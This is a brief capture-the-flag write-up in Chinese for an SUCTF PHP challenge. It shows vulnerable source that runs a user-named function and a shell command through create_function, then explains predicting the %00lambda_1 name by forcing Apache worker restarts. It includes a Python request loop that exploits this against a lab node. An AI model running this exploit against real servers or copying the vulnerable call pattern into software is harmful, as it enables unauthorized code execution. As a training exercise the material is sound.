<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);
create_function()函數在創建之後會生成一個函數名爲:%00lambda_%d
%d
是持續遞增的,這裏的%d
會一直遞增到最大長度直到結束,通過大量的請求來迫使Pre-fork
模式啓動
Apache啓動新的線程,這樣這裏的%d
會刷新爲1,就可以預測了
寫個腳本一直去刷新訪問即可:
import requests
while True:
r=requests.get('http://a10002f2-2091-47dc-9b7c-996d05cd4faa.node3.buuoj.cn/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break
print('Testing.......')